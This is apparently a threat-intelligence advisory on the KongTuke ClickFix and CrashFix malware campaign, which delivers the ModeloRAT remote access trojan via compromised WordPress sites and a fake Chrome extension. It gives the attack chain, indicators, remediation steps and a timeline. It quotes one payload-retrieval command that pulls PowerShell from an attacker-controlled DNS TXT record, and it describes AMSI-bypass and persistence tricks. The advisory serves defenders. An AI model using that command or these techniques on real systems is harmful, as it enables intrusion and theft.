KongTuke ClickFix Campaign — ModeloRAT Deployment via Compromised WordPress Sites and CrashFix Browser Extension
KongTuke ClickFix Campaign (TL-2026-0208), also tracked as CrashFix Campaign, is a high-severity malware campaign scored CVSS 7.5, first published 2026-03-10. It is attributed to KongTuke with high confidence, affects Google Chrome Browser, maps to 27 MITRE ATT&CK techniques (T1005, T1016, T1027), and is covered by 9 detection rules and 29 indicators of compromise.
Key facts for TL-2026-0208
- Threat ID
- TL-2026-0208
- Also known as
- CrashFix Campaign, NexShield Malware, KongTuke ClickFix
- Severity
- HIGH
- CVSS
- 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-03-10
- Last reviewed
- 2026-03-10
- Attribution
- KongTuke
- Attribution confidence
- HIGH
- Motivation
- FINANCIAL
- Target sectors
- enterprise, government, financial, technology, education
- Target regions
- North America, Europe, Global
- Detection rules
- 9
- Indicators of compromise
- 29
Malware and tooling in KongTuke ClickFix Campaign
Malware and tooling: GateKeeper, ModeloRAT, ModeloRAT, NexShield Chrome Extension
Active malware campaign by threat actor KongTuke (TAG-124/LandUpdate808) leveraging compromised WordPress sites with fake CAPTCHA ClickFix lures and a malicious Chrome extension dubbed CrashFix to deploy ModeloRAT, a Python-based remote access trojan targeting enterprise environments. The campaign abuses finger.exe as a LOLBin for payload retrieval, employs DGA-generated .top domains, and uses RC4-encrypted C2 beaconing over HTTP port 80.
How KongTuke ClickFix Campaign works
KongTuke operates a multi-layered traffic distribution system (TDS) infrastructure comprising hundreds of compromised WordPress websites that serve as initial access vectors. The campaign employs two parallel delivery mechanisms: the original ClickFix technique, which injects malicious JavaScript into WordPress sites to present fake CAPTCHA verification pages, and the newer CrashFix variant, which uses a typosquatted Chrome extension called NexShield (masquerading as uBlock Origin Lite) to intentionally crash browsers and present fake security warnings.
In the ClickFix chain, compromised WordPress sites load external JavaScript from attacker-controlled domains (ainttby.com, ctpsih.com, foodgefy.com). The script queries Cloudflare trace endpoints for browser/OS fingerprinting, then dynamically injects a fake CAPTCHA overlay via document.write(). When victims interact with the verification prompt, a PowerShell command is silently copied to their clipboard and they are instructed to paste it into the Windows Run dialog.
In the CrashFix chain, the malicious NexShield extension (Chrome Web Store ID: cpcdkmjddocikjdkbbeiaafnpdbdafmi) implements a 60-minute delayed execution via Chrome Alarms API, then triggers a denial-of-service loop creating one billion chrome.runtime port connections to exhaust browser resources. After the crash, a fake security warning window (400x600px) appears, directing users to execute a command from the Windows Run dialog.
Both chains converge on the same PowerShell execution technique: finger.exe is copied to %TEMP%\ct.exe and used to retrieve ROT-cipher obfuscated PowerShell code from attacker infrastructure. The deobfuscated script performs extensive anti-analysis checks, scanning for 50+ security tools (Wireshark, Procmon, Process Hacker, x64dbg, OllyDbg, IDA, Ghidra, Fiddler, Sysmon) and virtual machine indicators (VMware, VirtualBox, QEMU, Parallels). A numeric fingerprinting system scores the environment to determine legitimacy.
Domain-joined systems receive ModeloRAT — a Python-based RAT delivered via portable WPy64-31401 Python distribution downloaded from Dropbox. ModeloRAT establishes persistence through Registry Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) using legitimate software names (Spotify47, Adobe2841) and scheduled tasks (SoftwareProtection, every 5 minutes). C2 communication uses RC4 encryption with random 16-byte keys, zlib compression, and HTTP POST beaconing to port 80 with configurable intervals (300s standard, 150ms active, 900s backoff). The RAT supports arbitrary command execution, file upload/download, process execution, registry operations, self-updating, and system shutdown.
Non-domain-joined systems receive a GateKeeper .NET payload with additional obfuscation layers (AES-256-CBC with PBKDF2, XOR cipher) and a domain generation algorithm producing weekly-seeded .top domains. These systems currently receive a test payload, suggesting the non-enterprise chain is still under development.
The campaign demonstrates operational sophistication with daily domain registration, weekly DGA seed rotation, AMSI bypass via memory patching of AmsiScanBuffer, and deliberate targeting of enterprise environments over home users.
---
**Revalidated on 2026-03-12**
POST-PUBLICATION INTELLIGENCE UPDATE (2026-03-12): Three developments expand the threat picture since publication. First, Unit 42 documented a DNS TXT record staging variant (active since late December 2025) in which KongTuke embeds PowerShell payloads in DNS TXT records of attacker-controlled .top domains. The injected ClickFix command uses 'Resolve-DnsName -Type TXT payload.bruemald.top -Server 8.8.8.8' instead of the finger.exe LOLBin or mshta techniques, adding a third parallel delivery sub-chain that evades web proxy inspection entirely. This should be documented as an additional initial access path alongside ClickFix and CrashFix. Second, a February 2, 2026 incident captured by Malware-Traffic-Analysis.net shows KongTuke ClickFix activity delivering AsyncRAT rather than ModeloRAT, using compromised site oceanbistrooumc.com with redirect through soulversr.com/js.php. This demonstrates the TAG-124 TDS's payload flexibility — the infrastructure serves different RATs based on operator selection or victim profiling, meaning ModeloRAT is one of several possible payloads, not the exclusive one. Third, Rapid7's concurrent March 10, 2026 report documents 250+ compromised WordPress sites in 12 countries delivering four distinct infostealers (Vidar Stealer, Impure Stealer, Vodka Stealer, Double Donut) via the same ClickFix fake-CAPTCHA pattern. While not explicitly attributed to KongTuke, the shared TDS infrastructure and WordPress injection methodology strongly suggest TAG-124 ecosystem overlap, indicating the campaign's scale exceeds what was originally documented. The Rapid7 research noted compromised sites included news outlets and a US Senate candidate's website, highlighting indiscriminate targeting. All original IOCs, MITRE mappings, and detections remain valid.
MITRE ATT&CK techniques used in TL-2026-0208
collection
discovery
T1016 System Network Configuration Discovery; T1057 Process Discovery; T1082 System Information Discovery; T1482 Domain Trust Discovery; T1518 Software Discovery
defense-evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1202 Indirect Command Execution; T1497 Virtualization/Sandbox Evasion
exfiltration
T1041 Exfiltration Over C2 Channel
execution
T1053 Scheduled Task/Job; T1059 Command and Scripting Interpreter; T1204 User Execution
command-and-control
T1071 Application Layer Protocol; T1102 Web Service; T1105 Ingress Tool Transfer; T1568 Dynamic Resolution; T1573 Encrypted Channel
persistence
T1176 Software Extensions; T1547 Boot or Logon Autostart Execution
initial-access
T1189 Drive-by Compromise; T1199 Trusted Relationship
resource-development
T1584 Compromise Infrastructure; T1608 Stage Capabilities
defense-impairment
Affected products and versions in KongTuke ClickFix Campaign
- Google — Chrome Browser
Vulnerable versions: All versions supporting extension sideloading - WordPress — WordPress CMS
Vulnerable versions: Sites with compromised plugins/themes - Microsoft — Windows
Vulnerable versions: Windows 10; Windows 11; Windows Server 2016+
Remediation for KongTuke ClickFix Campaign
Immediate actions
- Block known C2 IPs at perimeter: 45.61.138.224, 158.247.252.178, 170.168.103.208, 199.217.98.108
- Remove NexShield Chrome extension (ID: cpcdkmjddocikjdkbbeiaafnpdbdafmi) from all endpoints
- Hunt for finger.exe copies renamed to ct.exe in %TEMP% directories
- Check for scheduled task named SoftwareProtection executing from AppData\Local\Microsoft\Windows\SoftwareProtectionPlatform
- Block outbound connections to .top TLD domains from corporate endpoints
- Audit HKCU\Software\Microsoft\Windows\CurrentVersion\Run for suspicious entries mimicking legitimate software names
Workarounds
- Disable finger.exe system-wide via Group Policy Software Restriction Policies
- Block clipboard paste into Run dialog via Group Policy
- Configure Chrome to block extensions not from organizational approved list
Longer-term hardening
- Deploy browser extension whitelisting policies via Chrome Enterprise to prevent unauthorized extension installs
- Implement PowerShell Constrained Language Mode and Script Block Logging on all endpoints
- Enable AMSI integration with EDR to detect AMSI bypass attempts
- Block finger.exe execution via application control policies (AppLocker/WDAC)
- Implement DNS filtering to block DGA-generated .top domains
- Deploy WordPress security hardening and monitoring across organizational web properties
Weaknesses (CWE) in KongTuke ClickFix Campaign
CWE-94, CWE-506, CWE-829
Timeline of KongTuke ClickFix Campaign
- TAG-124 traffic distribution system infrastructure first documented by security researchers as a multi-layered TDS serving multiple threat actor clients
- Recorded Future publishes comprehensive report on TAG-124 multi-layered TDS infrastructure, documenting connections to KongTuke, LandUpdate808, and Chaya_002 clusters
- Microsoft publishes analysis of ClickFix social engineering technique, documenting thousands of affected devices per month even with EDR protection enabled
- KongTuke begins abusing finger.exe as a LOLBin for payload retrieval, copying it to ct.exe in TEMP directory to bypass application whitelisting
- KongTuke begins using DNS TXT record staging technique — ClickFix payloads are embedded in TXT records of attacker-controlled .top domains (e.g., payload.bruemald.top) and retrieved via Resolve-DnsName PowerShell cmdlet, replacing finger.exe in some infection chains [Source: https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-02-03-IOCs-from-KongTuke-ClickFix-activity.txt]
- Malware-Traffic-Analysis.net documents KongTuke ClickFix activity with additional PCAP captures and network-level indicators [Source: https://www.malware-traffic-analysis.net/2026/01/08/index.html]
- Malicious NexShield Chrome extension (version 2025.1116.1842) published to Chrome Web Store, typosquatting uBlock Origin Lite, accumulating approximately 5,000 downloads
- Huntress researchers identify and analyze the CrashFix variant — a new initial access technique using intentional browser crashes to socially engineer victims into executing malicious PowerShell commands
- Multiple security news outlets report on CrashFix campaign including The Hacker News and CyberNews, raising public awareness of the NexShield malicious extension
- KongTuke ClickFix campaign observed delivering AsyncRAT instead of ModeloRAT via compromised website oceanbistrooumc.com redirecting through soulversr.com fake CAPTCHA — demonstrates payload flexibility within the TDS infrastructure [Source: https://www.malware-traffic-analysis.net/2026/02/02/index.html]
- Palo Alto Networks Unit 42 publishes IOC collection for KongTuke ClickFix activity, documenting DNS TXT record delivery technique and associated domains/IPs [Source: https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-02-03-IOCs-from-KongTuke-ClickFix-activity.txt]
- Microsoft Security Blog publishes detailed analysis characterizing CrashFix as a notable escalation in ClickFix tradecraft combining user disruption with social engineering
- Proofpoint publishes ClickFix social engineering technique overview, further documenting the broader ecosystem of fake CAPTCHA campaigns including KongTuke''s TTPs [Source: https://www.proofpoint.com/us/blog/threat-insight/clickfix-social-engineering]
- Rapid7 publishes parallel investigation documenting 250+ compromised WordPress sites across 12 countries delivering infostealer payloads (Vidar, Impure Stealer, Vodka Stealer, Double Donut) via identical ClickFix fake-CAPTCHA technique — overlapping TDS infrastructure with TAG-124 ecosystem [Source: https://www.rapid7.com/blog/post/tr-malicious-websites-wordpress-compromise-advances-global-stealer-operation/]
- Trend Micro MDR team publishes comprehensive analysis of KongTuke ClickFix campaign including full attack chain, ModeloRAT capabilities, and hunting queries, confirming both ClickFix and CrashFix chains remain operational
- As of 2026-05-29, KongTuke's ModeloRAT campaign is still active and escalating: ReliaQuest documents a new hijacked-Microsoft-Teams help-desk vector delivering an evolved ModeloRAT, ongoing since April 2026. Though Google pulled the NexShield extension, the actor (undisrupted, no CVE) keeps running ClickFix/DNS-TXT/Teams chains.
Sources cited for KongTuke ClickFix Campaign
- Trend Micro — KongTuke ClickFix Abuse of Compromised WordPress Sites (MDR Analysis)
- Huntress — Dissecting CrashFix: KongTuke's New Toy
- The Hacker News — CrashFix Chrome Extension Delivers ModeloRAT Using ClickFix-Style Browser Crash Lures
- Microsoft Security Blog — New ClickFix Variant CrashFix Deploying Python RAT
- Hackread — ClickFix to CrashFix: KongTuke Used Fake Chrome Ad Blocker to Install ModeloRAT
- Recorded Future — TAG-124 Multi-Layered TDS Infrastructure and Extensive User Base
- Proofpoint — ClickFix Social Engineering Technique Overview
- Microsoft Security Blog — Think Before You ClickFix: Analyzing the ClickFix Social Engineering Technique
- CyberNews — KongTuke CrashFix Campaign Uses Fake Chrome Adblocker to Deploy ModeloRAT
- Splunk — Beyond The Click: Unveiling Fake CAPTCHA Campaigns
- EnigmaSoft — ModeloRAT Removal Guide
Threats related to KongTuke ClickFix Campaign
- Mistic Self-Destructing In-Memory Backdoor (MLTBackdoor) Deployed by KongTuke Access Broker Enabling Multi-Group Ransomware Intrusions
- ClickFix / KongTuke Clipboard-Hijacking Social-Engineering Technique (MITRE T1204.004) — Fake-CAPTCHA Lures Delivering Infostealers, RATs, and Ransomware
- ClickFix Evolution — nslookup DNS Smuggling + CrashFix Browser DoS + ModeloRAT Python RAT, KongTuke Actor, Enterprise Domain-Joined Targeting
- ClickFix Social-Engineering Technique Becomes Dominant Malware Delivery and Defense-Evasion Vector (CrashFix, FileFix, ConsentFix Variants)
- Active Magecart Campaign Targets Spain via Hijacked WooCommerce eStores for Bank Fraud Using WebSocket Exfiltration
- ClickFix, CrashFix, InstallFix, FileFix & GhostClaw: Growing Family of Copy-and-Paste Social Engineering Attacks
Detection coverage for TL-2026-0208
As of 2026-03-10, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0208 across Splunk SPL, Microsoft KQL and Sigma, covering 29 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.